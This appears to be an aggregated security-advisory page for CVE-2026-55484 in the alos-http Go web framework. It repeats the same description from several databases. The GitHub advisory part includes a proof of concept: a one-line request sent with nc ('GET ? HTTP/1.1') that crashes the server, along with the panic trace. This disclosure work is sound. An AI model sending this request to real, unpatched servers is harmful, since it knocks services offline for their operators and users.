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alos-http · Vulnerability

CVSS 3.1 7.5 HIGHEUVD CVSS 3.1 7.5 CVSS 3.1 · [email protected] · Secondary 7.5 HIGHCVSS_V3 Publisher rating HIGHFixed by github.com/guno1928/alos-http 0.0.0-20260617230736-314b6783e196osv · severity unknownFixed by github.com/guno1928/alos-http 0.0.0-20260617230736-314b6783e196KEV status unknown

cve-program · CVE-2026-55484

Published

ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.

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euvd · EUVD-2026-67872

Published

ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.

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nvd · CVE-2026-55484

Published

ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1_plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3_conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.

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osv · GHSA-hr6j-w4mw-g9mj

Published

### Summary A single unauthenticated HTTP request to a path starting with `?` (e.g. `GET ? HTTP/1.1`) crashes the entire server process. The request line parser passes the path to `sanitizeRequestPath` which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so `core.Recovery()` does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if `ListenAndServeQUIC` is enabled ### Details **root cause**: `core/utils.go::sanitizeRequestPath` ```go // assume path := "?" if len(path) == 0 { // len(path) == 1 return "/" } p, _ := splitPathQuery(path) // p == "" if p[0] == '/' /*...*/ { // p[0] on empty string => panic: index out of range return p } ``` * when the path starts with "?" len(path) is not 0 so the early return does not fire * after `splitPathQuery` `p` is empty `""` * `p` is then indexed `p[0]` without a length check Relevant calling sites: * `h1_plain.go:ParseH1RequestHead` (HTTP/1.1) * `h1.go::ParseH1Request` (dead code) * `hpack.go::decodeSimpleGetPathHTTPSRequest` (HTTP/2) * `hpack.go::observeHeader` (HTTP/2) * `h3_conn.go::handleRequestStream` (HTTP/3) these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic ### PoC Minimal server, using [the quick-start](https://github.com/guno1928/alos-http#quick-start) ```go srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true}) srv.Router.Use(core.Recovery()) // is unable to catch a parser panic srv.Router.GET("/", func(req *core.Request, resp *core.Response) { resp.Status(200).String("not crashed (yet)") }) log.Fatal(srv.ListenAndServe()) ``` Crash it with a single request ```bash printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080 ``` Server output & crash ```log 2026/06/11 20:52:52 listening on http://localhost:8080 2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false 2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576) 2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) === 2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s)) 2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600 panic: runtime error: index out of range [0] with length 0 goroutine 34 [running]: github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1}) /home/baloo/alos-http/core/utils.go:566 +0x64a github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098) /home/baloo/alos-http/core/h1_plain.go:474 +0x48c github.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000) /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db github.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?) /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365 github.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?) /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25 github.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?) /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185 github.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000) /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a github.com/guno1928/alos-http/core.(*plainUringBackend).start.func1() /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69 created by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1 /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a exit status 2 ``` all subsequent requests now fail, since the server is down ### Impact Unauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request. Repeating this process keeps the service offline. There is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)

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osv · GO-2026-6321

Published

alos-http has unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server in github.com/guno1928/alos-http

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